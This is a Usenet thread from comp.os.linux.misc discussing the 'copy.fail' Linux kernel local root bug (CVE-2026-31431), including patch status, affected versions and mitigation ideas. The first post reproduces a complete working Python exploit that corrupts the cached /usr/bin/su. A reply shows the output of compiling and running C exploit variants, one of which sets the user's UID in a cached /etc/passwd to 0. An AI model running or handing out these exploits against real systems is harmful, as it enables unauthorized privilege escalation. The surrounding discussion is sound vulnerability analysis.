Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]

Groups > comp.os.linux.misc > #86022 > unrolled thread

copy.fail

Back to article view | Back to comp.os.linux.misc

Contents

  copy.fail Eli the Bearded <*@eli.users.panix.com> - 2026-04-30 05:40 +0000
    Re: copy.fail Ralf Fassel <ralfixx@gmx.de> - 2026-04-30 16:39 +0200
    Re: copy.fail jayjwa <jayjwa@atr2.ath.cx.invalid> - 2026-04-30 11:25 -0400
      Re: copy.fail gazelle@shell.xmission.com (Kenny McCormack) - 2026-04-30 19:09 +0000
        Re: copy.fail Marc Haber <mh+usenetspam2616@zugschl.us> - 2026-05-01 13:19 +0200
          Re: copy.fail Richard Kettlewell <invalid@invalid.invalid> - 2026-05-01 17:48 +0100
            Re: copy.fail gazelle@shell.xmission.com (Kenny McCormack) - 2026-05-02 10:28 +0000
              Re: copy.fail gazelle@shell.xmission.com (Kenny McCormack) - 2026-05-02 12:12 +0000
              Re: copy.fail pa@see.signature.invalid (Pierre Asselin) - 2026-05-02 21:46 +0000
                Re: copy.fail Lawrence D’Oliveiro <ldo@nz.invalid> - 2026-05-02 23:44 +0000
                  Re: copy.fail gazelle@shell.xmission.com (Kenny McCormack) - 2026-05-03 01:12 +0000
                    Re: copy.fail rbowman <bowman@montana.com> - 2026-05-03 02:46 +0000
                    Re: copy.fail Richard Kettlewell <invalid@invalid.invalid> - 2026-05-03 09:55 +0100
              Re: copy.fail Richard Kettlewell <invalid@invalid.invalid> - 2026-05-02 23:02 +0100
                Re: copy.fail pa@see.signature.invalid (Pierre Asselin) - 2026-05-03 18:11 +0000
                  Re: copy.fail Richard Kettlewell <invalid@invalid.invalid> - 2026-05-03 23:05 +0100
      Re: copy.fail Richard Kettlewell <invalid@invalid.invalid> - 2026-04-30 22:41 +0100
      Re: copy.fail Stéphane CARPENTIER <sc@fiat-linux.fr> - 2026-05-01 09:33 +0000
    Re: copy.fail Ralf Fassel <ralfixx@gmx.de> - 2026-05-01 23:17 +0200
      Re: copy.fail Rich <rich@example.invalid> - 2026-05-06 04:17 +0000
    Re: copy.fail Woozy Song <suzyw0ng@outlook.com> - 2026-05-03 11:42 +0800

Page 1 of 2  [1] 2  Next page →

#86022 — copy.fail

This is an instant local escalation to root that works on about nine
years of kernel versions across many, if not all, distros. It's been
patched, very recently, and there is a work-around.

There's a write up at 

https://copy.fail/ 

It works by corrupting the in-memory copy of a program with suid bits,
so no change to the on-disk copy, but relying on multiple processes
hitting the same in memory file cache. The corruption happens becuase
of a kernel bug.

And an example script, under one kilobyte, written for python3 (3.10 or
higher), for reasonable portablity:

https://copy.fail/exp


#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")


That script's style makes me think the authors may like Perl.

Elijah
------
sleep tight and upgrade your stuff

[toc] | [next] | [standalone]

#86031

* Eli the Bearded <*@eli.users.panix.com>
| This is an instant local escalation to root that works on about nine
| years of kernel versions across many, if not all, distros. It's been
| patched, very recently, and there is a work-around.

Ouch.  Unfortunately, as of today (april 30) Debian Trixie with all
updates applied is still vulnerable, alltough according to the roadmap
there should have been plenty of time since end of march when the
problem was reported to Linux Kernel Security Team :-(

R'

[toc] | [prev] | [next] | [standalone]

#86032

Eli the Bearded <*@eli.users.panix.com> writes:

> This is an instant local escalation to root that works on about nine
> years of kernel versions across many, if not all, distros. It's been
> patched, very recently, and there is a work-around.
I haven't been able to find a *clear* list of kernels that aren't
affected but it doesn't work on Slackware w/6.18.23. /bin/su needs to be
readable, but it's 4711 by default. Neither the C version nor the Python
version worked here. Some say 6.18 is already patched, but, again, no
clear list as of this writing.

make                                                                             
cc -nostdlib -static -Os -s -ffreestanding -fno-asynchronous-unwind-tables -fno-ident -fno-stack-protector -Inolibc 
-Wl,-N -Wl,-z,max-page-size=0x10 payload.c -o payload                                                               
/usr/bin/ld.bfd: warning: payload has a LOAD segment with RWX permissions
ld -r -b binary -o payload.o payload
cc -O2 -Wall -Wextra -Wl,-z,noexecstack -static -o exploit exploit.c payload.o
cc -O2 -Wall -Wextra -Wl,-z,noexecstack -static -o exploit-passwd exploit-passwd.c
/usr/bin/ld.bfd: /tmp/ccTwn0ob.o: in function `main':
exploit-passwd.c:(.text.startup+0x12): warning: Using 'getpwuid' in
statically linked applications requires at runtime the shared libraries from the glibc version used for linking

./exploit /bin/su
open(/bin/su): Permission denied
./exploit-passwd 
[+] user:    jayjwa (uid=1000)
[+] /etc/passwd UID field at offset 2324
[+] sanity check ok: bytes at offset are "1000"
[+] /etc/passwd page cache mutated; jayjwa's UID is now 0000
[+] attempting cashout via `su jayjwa`
[!] If su fails with "Cannot determine your user name"
    (shadow-utils' caller-identity check), the page cache
    mutation is still active. Pivot to another cashout
    that consults /etc/passwd.
[+] cleanup after testing (run as root):
    echo 3 > /proc/sys/vm/drop_caches

Password: 
su: Authentication failure


-- 
PGP Key ID: 781C A3E2 C6ED 70A6 B356  7AF5 B510 542E D460 5CAE
       "The Internet should always be the Wild West!"

[toc] | [prev] | [next] | [standalone]

#86043

In article <87lde4tqpy.fsf@atr2.ath.cx>,
jayjwa  <jayjwa@atr2.ath.cx.invalid> wrote:
...
>I haven't been able to find a *clear* list of kernels that aren't
>affected but it doesn't work on Slackware w/6.18.23. /bin/su needs to be
>readable, but it's 4711 by default. Neither the C version nor the Python
>version worked here. Some say 6.18 is already patched, but, again, no
>clear list as of this writing.

Interesting.  I've always thought that suid executables (especially, root
ones) should always be protected 4711 and I've been doing that for my own
suids for decades.  But surprisingly, most distros still do 4755.  I wonder
why...

In fact, an argument can be made that *all* system-supplied executables
(the ones currently protected 755) should be protected 711 instead.

We are not living in the 20th century anymore.

-- 
The randomly chosen signature file that would have appeared here is more than 4
lines long.  As such, it violates one or more Usenet RFCs.  In order to remain
in compliance with said RFCs, the actual sig can be found at the following URL:
	http://user.xmission.com/~gazelle/Sigs/Aspergers

[toc] | [prev] | [next] | [standalone]

#86056

gazelle@shell.xmission.com (Kenny McCormack) wrote:
>In fact, an argument can be made that *all* system-supplied executables
>(the ones currently protected 755) should be protected 711 instead.
>
>We are not living in the 20th century anymore.

And still all those files can be publicly downloaded from the
distribution's repositories. It just makes life harder to make them
unreadable.

Greetings
Marc
-- 
----------------------------------------------------------------------------
Marc Haber         |   " Questions are the         | Mailadresse im Header
Rhein-Neckar, DE   |     Beginning of Wisdom "     | 
Nordisch by Nature | Lt. Worf, TNG "Rightful Heir" | Fon: *49 6224 1600402

[toc] | [prev] | [next] | [standalone]

#86062

Marc Haber <mh+usenetspam2616@zugschl.us> writes:
> gazelle@shell.xmission.com (Kenny McCormack) wrote:

>> In fact, an argument can be made that *all* system-supplied
>> executables (the ones currently protected 755) should be protected
>> 711 instead.
>>
>> We are not living in the 20th century anymore.
>
> And still all those files can be publicly downloaded from the
> distribution's repositories. It just makes life harder to make them
> unreadable.

The issue is not secrecy or otherwise of the file contents, it’s the
read permission itself.  The underlying vulnerability gives the attacker
the ability to modify the cached copy of any file they can open, even
just for reading, and the example exploit applies that to a setuid
executable. Remove read permission and the file is no longer a target
for this attack.

However, removing read permission on executables isn’t likely to help,
for the reasons given in my other post.

-- 
https://www.greenend.org.uk/rjk/

[toc] | [prev] | [next] | [standalone]

#86080

In article <wwv340bcbzf.fsf@LkoBDZeT.terraraq.uk>,
Richard Kettlewell  <invalid@invalid.invalid> wrote:
>Marc Haber <mh+usenetspam2616@zugschl.us> writes:
>> gazelle@shell.xmission.com (Kenny McCormack) wrote:
>
>>> In fact, an argument can be made that *all* system-supplied
>>> executables (the ones currently protected 755) should be protected
>>> 711 instead.
>>>
>>> We are not living in the 20th century anymore.
>>
>> And still all those files can be publicly downloaded from the
>> distribution's repositories. It just makes life harder to make them
>> unreadable.
>
>The issue is not secrecy or otherwise of the file contents, its the
>read permission itself.  The underlying vulnerability gives the attacker
>the ability to modify the cached copy of any file they can open, even
>just for reading, and the example exploit applies that to a setuid
>executable. Remove read permission and the file is no longer a target
>for this attack.

Understood, but I think the other poster was talking about something else.
He was commenting on a thread diversion introduced by me.

That is, I (somewhat jokingly, well, not jokingly, but not entirely seriously)
suggested that *all* executables should be protected 711 (or 4711 in the
case of setuid executables) rather than 755 and he chose to make a
pedantic, but pointless post to the effect that doing this (e.g., making
/bin/ls be protected 711 rather than 755) would not prevent anyone with
access to the Internet (and the necessary skills and knowledge) from
getting a copy of /bin/ls should he choose to do so.

Which is correct, but meaningless.

>However, removing read permission on executables isn't likely to help,
>for the reasons given in my other post.

Understood.

By the way, what is the patch status of this problem?  My reading of some
of the posts upthread is that it is always patched (fixed) in some
kernels/distros.  Is that correct?

-- 
Pensacola - the thinking man's drink.

[toc] | [prev] | [next] | [standalone]

#86089

In article <10t4jl1$3ume2$1@news.xmission.com>,
Kenny McCormack <gazelle@shell.xmission.com> wrote:
...
>By the way, what is the patch status of this problem?  My reading of some
>of the posts upthread is that it is always patched (fixed) in some
>kernels/distros.  Is that correct?

Oops!  I meant "already", not "always".

-- 
I'm building a wall.

[toc] | [prev] | [next] | [standalone]

#86098

Kenny McCormack <gazelle@shell.xmission.com> wrote:

> By the way, what is the patch status of this problem?  My reading of some
> of the posts upthread is that it is always patched (fixed) in some
> kernels/distros.  Is that correct?

Depends on the distro. If you compile your own kernels, just get
a recent one from kernel.org .

For what it's worth, on Gentoo I just switched to 6.18.26 and
the vulnerability is patched. (6.18.18 was vulnerable.)

-- 
pa at panix dot com

[toc] | [prev] | [next] | [standalone]

#86101

On Sat, 2 May 2026 21:46:24 -0000 (UTC), Pierre Asselin wrote:

> For what it's worth, on Gentoo I just switched to 6.18.26 and the
> vulnerability is patched. (6.18.18 was vulnerable.)

I did a reboot on my VPS after a notification from the provider, and
then a few hours later the provider did their own forced reboot of
VPSes including my own.

This triggered the service dependency issue I described elsewhere once
too often, so I finally sat down to fix it -- as described elsewhere.
;)

[toc] | [prev] | [next] | [standalone]

#86102

In article <10t6292$2gg61$11@dont-email.me>,
Lawrence DOliveiro  <ldo@nz.invalid> wrote:
>On Sat, 2 May 2026 21:46:24 -0000 (UTC), Pierre Asselin wrote:
>
>> For what it's worth, on Gentoo I just switched to 6.18.26 and the
>> vulnerability is patched. (6.18.18 was vulnerable.)
>
>I did a reboot on my VPS after a notification from the provider, and
>then a few hours later the provider did their own forced reboot of
>VPSes including my own.

This is what I don't understand about this "vulnerability".

Is it fixed or not?  (*)

From the way some people are talking, yes, it is fixed (provided you have
the necessary distro, kernel version/patches/etc/etc).

But, from the way RKettle talks about it, the problem is unfixable at this
point, since it affects shared libraries as well, and it would take a major
change to the way things are done to plug this hole.

(*) Yes, of course, whether or not it is actually fixed for any one
specific user depends on where they are are in terms of distro, kernel
version/patches/etc/etc, but I am talking about "in general".

-- 
The book "1984" used to be a cautionary tale;
Now it is a "how-to" manual.

[toc] | [prev] | [next] | [standalone]

#86103

On Sun, 3 May 2026 01:12:07 -0000 (UTC), Kenny McCormack wrote:

> But, from the way RKettle talks about it, the problem is unfixable at
> this point, since it affects shared libraries as well, and it would take
> a major change to the way things are done to plug this hole.

I don't know if it's related but both Fedora and Arch just downloaded a 
lot of glibc related files. Arch is 7.0.3-2, replacing 7.0.3-1. Ubuntu 
25.10 says it is up to date with 6.17.0-23.

[toc] | [prev] | [next] | [standalone]

#86106

gazelle@shell.xmission.com (Kenny McCormack) writes:
> Lawrence DOliveiro  <ldo@nz.invalid> wrote:
>> Pierre Asselin wrote:
>>> For what it's worth, on Gentoo I just switched to 6.18.26 and the
>>> vulnerability is patched. (6.18.18 was vulnerable.)
>>
>> I did a reboot on my VPS after a notification from the provider, and
>> then a few hours later the provider did their own forced reboot of
>> VPSes including my own.
>
> This is what I don't understand about this "vulnerability".
>
> Is it fixed or not?  (*)
>
> From the way some people are talking, yes, it is fixed (provided you have
> the necessary distro, kernel version/patches/etc/etc).

Yes, see my other post, the kernel bug is fixed.

> But, from the way RKettle talks about it, the problem is unfixable at
> this point, since it affects shared libraries as well, and it would
> take a major change to the way things are done to plug this hole.

Huh? The relevance of shared libraries is that you can’t mitigate the
issue (or other hypothetical issues with similar structure) by removing
read permissions from them.

Once the kernel bug is fixed, it’s fixed.

-- 
https://www.greenend.org.uk/rjk/

[toc] | [prev] | [next] | [standalone]

#86099

gazelle@shell.xmission.com (Kenny McCormack) writes:
>>However, removing read permission on executables isn't likely to help,
>>for the reasons given in my other post.
>
> Understood.

Joking, diversions and misunderstandings aside, it is worth thinking
about the idea.

Stopping unprivileged users getting a file descriptor onto anything that
might be executing, or executed, with different credentials would reduce
risk by excluding all attacks that depended somehow on getting a file
descriptor onto the target file. As already noted there’s a problem with
shared libraries.

The fact that shared libraries have to be readable isn’t insurmountable,
the kernel could provide a system call which effectively did the
open/mmap/close currently done by the runtime linker. There would need
to be an attribute (or something) added to shared library files to
permit the new call - obviously it must not become a mechanism for
bypassing the lack of read permission.

That still leaves exposure of the unmodified[1] parts of shared
libraries using the same RAM pages as processes with different
credentials - attacks involving a file descriptor (like copy.fail) are
excluded, but attacks involving shared memory pages
(e.g. microarchitectural attacks and exploits of other as-yet
undiscovered kernel bugs) would remain possible. That could be addressed
by restricting shared RAM pages to processes with the same credentials,
at the cost of higher RAM usage of course.

[1] mostly meaning main code and read-only data sections, although pages
    in modified sections which happen not to have been modified yet are
    also shared.

> By the way, what is the patch status of this problem?  My reading of some
> of the posts upthread is that it is always patched (fixed) in some
> kernels/distros.  Is that correct?

The code fix was in mid March:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

https://lore.kernel.org/linux-cve-announce/2026042214-CVE-2026-31431-3d65@gregkh/T/#u

In Debian it’s deployed in 6.12.85+1 of the kernel package, which I
think was only released yesterday, a couple of days after the exploit
was published. I don’t know about other distributions.

There do not seem to have been any steps taken to ensure patches were
available before it was announced, despite having around a month in
which this could have been done. In
https://www.openwall.com/lists/oss-security/2026/04/30/10:

| Note that for Linux kernel vulnerabilities, unless the reporter
| chooses to bring it to the linux-distros ML, there is no heads-up to
| distributions.
|
| It did not happen here.

-- 
https://www.greenend.org.uk/rjk/

[toc] | [prev] | [next] | [standalone]

#86114

Richard Kettlewell <invalid@invalid.invalid> wrote:
> [ ... ]
> Stopping unprivileged users getting a file descriptor onto anything that
> might be executing, or executed, with different credentials would reduce
> risk by excluding all attacks that depended somehow on getting a file
> descriptor onto the target file. As already noted there?s a problem with
> shared libraries.

That doesn't solve anything. Letting an unprivileged user modify
the cached copy of files is BAAAAD. It doesn't have to be executable
code. /etc/passwd would be a good one, poke zeros in your uid:gid
fields, log out, log back in.

Even without privilege escalation, corrupting (cached copies of) random
files can wreak havoc.

[toc] | [prev] | [next] | [standalone]

#86119

pa@see.signature.invalid (Pierre Asselin) writes:
> Richard Kettlewell <invalid@invalid.invalid> wrote:
>> [ ... ]
>> Stopping unprivileged users getting a file descriptor onto anything that
>> might be executing, or executed, with different credentials would reduce
>> risk by excluding all attacks that depended somehow on getting a file
>> descriptor onto the target file. As already noted there?s a problem with
>> shared libraries.
>
> That doesn't solve anything. Letting an unprivileged user modify
> the cached copy of files is BAAAAD. It doesn't have to be executable
> code. /etc/passwd would be a good one, poke zeros in your uid:gid
> fields, log out, log back in.
>
> Even without privilege escalation, corrupting (cached copies of) random
> files can wreak havoc.

FAir point, and one I should have reached myself, given it was kinda
covered in my earlier post.

-- 
https://www.greenend.org.uk/rjk/

[toc] | [prev] | [next] | [standalone]

#86044

jayjwa <jayjwa@atr2.ath.cx.invalid> writes:
> I haven't been able to find a *clear* list of kernels that aren't
> affected but it doesn't work on Slackware w/6.18.23. /bin/su needs to be
> readable, but it's 4711 by default. Neither the C version nor the Python
> version worked here. Some say 6.18 is already patched, but, again, no
> clear list as of this writing.

Any setuid executable will do, not just su.

I suspect that it’s worse than that and that a shared library used by a
setuid executable would be sufficient. Instead of modifying something in
the setuid executable, the exploit could modify a library function it
calls instead.

I further suspect it’s even worse than that, and that you don’t need
_any_ setuid (or setgid) executables: modify a code page belonging to an
executable that is already running (or a shared library that it uses, as
above) and wait for it to execute the modified code (or encourage it to
do so - e.g. if the victim process is a web server, send it an http
request).

As for the idea in another post that this class of attack can be
mitigated with file permissions, shared libraries cannot have read
permission removed, because the runtime linker has to be able to open
them (in both privileged and unprivileged processes):

    $ ldd /bin/ls
            linux-vdso.so.1 (0x00007f08fe3b6000)
            libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f08fe343000)
            libcap.so.2 => /lib/x86_64-linux-gnu/libcap.so.2 (0x00007f08fe337000)
            libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f08fe143000)
            libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007f08fe094000)
            /lib64/ld-linux-x86-64.so.2 (0x00007f08fe3b8000)
    $ sudo chmod 711 /lib/x86_64-linux-gnu/libpcre2-8.so.0.14.0
    $ ls
    ls: error while loading shared libraries: libpcre2-8.so.0: cannot open shared object file: No such file or directory

Other variants can be guessed at, e.g. modify the cached contents of a
non-executable file that is interpreted by some privileged process, to
set a trusted password or public key to a known value, or to trigger a
bug in a deserializer as part of a chain of exploits.

-- 
https://www.greenend.org.uk/rjk/

[toc] | [prev] | [next] | [standalone]

#86055

Le 30-04-2026, jayjwa <jayjwa@atr2.ath.cx.invalid> a écrit :
> Eli the Bearded <*@eli.users.panix.com> writes:
>
>> This is an instant local escalation to root that works on about nine
>> years of kernel versions across many, if not all, distros. It's been
>> patched, very recently, and there is a work-around.
> I haven't been able to find a *clear* list of kernels that aren't
> affected

<https://www.cve.org/CVERecord?id=CVE-2026-31431>

affected
affected at 4.14 

unaffected
unaffected from 0 before 4.14 
unaffected from 5.10.254 through 5.10.* 
unaffected from 5.15.204 through 5.15.* 
unaffected from 6.1.170 through 6.1.* 
unaffected from 6.6.137 through 6.6.* 
unaffected from 6.12.85 through 6.12.* 
unaffected from 6.18.22 through 6.18.* 
unaffected from 6.19.12 through 6.19.* 
unaffected from 7.0

-- 
Si vous avez du temps à perdre :
https://scarpet42.gitlab.io

[toc] | [prev] | [next] | [standalone]

#86066

* Eli the Bearded <*@eli.users.panix.com>
| https://copy.fail/ 
>
| It works by corrupting the in-memory copy of a program with suid bits,
| so no change to the on-disk copy, but relying on multiple processes
| hitting the same in memory file cache. The corruption happens becuase
| of a kernel bug.

If I understand it correctly , the bug is a 4-byte write into a memory
region which should not be written to, but due to missing checks in the
API happens anyway (repeat as required to write more than 4 bytes as in
the python exploit to 'su').
  (https://xint.io/blog/copy-fail-linux-distributions
  "The Trigger: authencesn's Scratch Write"
  "The algorithm is using memory it does not own as a scratch pad.")

This alone would not be sufficient, since it just writes into the user
program memory.  It was an unrelated change (the "in-place-krypto"
change) which made kernel page cache memory addressable for the
4-byte-write, so now we can write into kernel memory.

The 'fix' is now to remove that possibility by only allowing
"out-of-place" krypto, so the page cache memory can't be overwritten any
longer.

But the main problem - the 4-byte-write into memory which should not
happen - still exists?  If this is the case, this whole scenario is just
waiting for another clever hacker to find a different way to chain
things up to exploit it.

I wonder how that 4-byte-write passed the review process (was there
any) in the first place in 2015?  Even if it did not trigger any
problems then, it should never have been accepted IMHO.

R'

[toc] | [prev] | [next] | [standalone]

#86164

Ralf Fassel <ralfixx@gmx.de> wrote:
> * Eli the Bearded <*@eli.users.panix.com>
> | https://copy.fail/ 
>>
> | It works by corrupting the in-memory copy of a program with suid bits,
> | so no change to the on-disk copy, but relying on multiple processes
> | hitting the same in memory file cache. The corruption happens becuase
> | of a kernel bug.
> 
> If I understand it correctly , the bug is a 4-byte write into a memory
> region which should not be written to, but due to missing checks in the
> API happens anyway (repeat as required to write more than 4 bytes as in
> the python exploit to 'su').

The net effect (as I understand it) is similar to standard C "buffer 
overflow" issues, many of which have allowed for one to become root if 
the buffer overflow existed in the correct program.

The big difference here is instead of "program binary X" contains a 
buffer overflow exploit, this one allows "buffer overflow style 
exploits" for "any file your user is allowed to open for read.  So it 
changes the field from "one program is vulenerable" to "nearly anything 
can be vulenerable".

> This alone would not be sufficient, since it just writes into the user
> program memory.  It was an unrelated change (the "in-place-krypto"
> change) which made kernel page cache memory addressable for the
> 4-byte-write, so now we can write into kernel memory.

Yes, the change, for that one crypto module, to do 'in place' 
operations opened up this four byte write hole into memory pages that 
should not normally have been writable by the user who is triggering 
the exploit.

> The 'fix' is now to remove that possibility by only allowing
> "out-of-place" krypto, so the page cache memory can't be overwritten any
> longer.
> 
> But the main problem - the 4-byte-write into memory which should not
> happen - still exists?

No.  The 'four byte write' was only available because: 1) kernel device 
drivers run with kernel permissions (can see everything), 2) the crypto 
algorthm implemented by the driver provides for an authentication tag 
(of four bytes) which a caller of the API can set to any byte values 
they like, and the driver "overflowed" its buffer when writing the 
auth.  tag to memory as part of the crypto algorithm (it wrote the auth 
tag to memory it should not have been written to).  There's no general 
"four byte write" hole (well, at least none we've been yet told about) 
elsewhere.

> If this is the case, this whole scenario is just waiting for another 
> clever hacker to find a different way to chain things up to exploit 
> it.

Not this one.  The "four byte write" was a direct consequence of the 
crypto algorithm.  Fix the crypto code for this driver and this four 
byte write hole is gone.

> I wonder how that 4-byte-write passed the review process (was there
> any) in the first place in 2015?  Even if it did not trigger any
> problems then, it should never have been accepted IMHO.

If you read through the entire page you referenced, it came about as 
part of several small incremental changes, each that seemed innoculous 
in isolation, but that once all the changes had been made, this 
specific crypto algorithm driver would write to page cache pages that 
it should not have been writing into.  And from that page, the author 
implies that recognizing the four-byte write possibility from just the 
code itself and/or each change in isolation is not straightforward.

[toc] | [prev] | [next] | [standalone]

Page 1 of 2  [1] 2  Next page →

Back to top | Article view | comp.os.linux.misc

csiph-web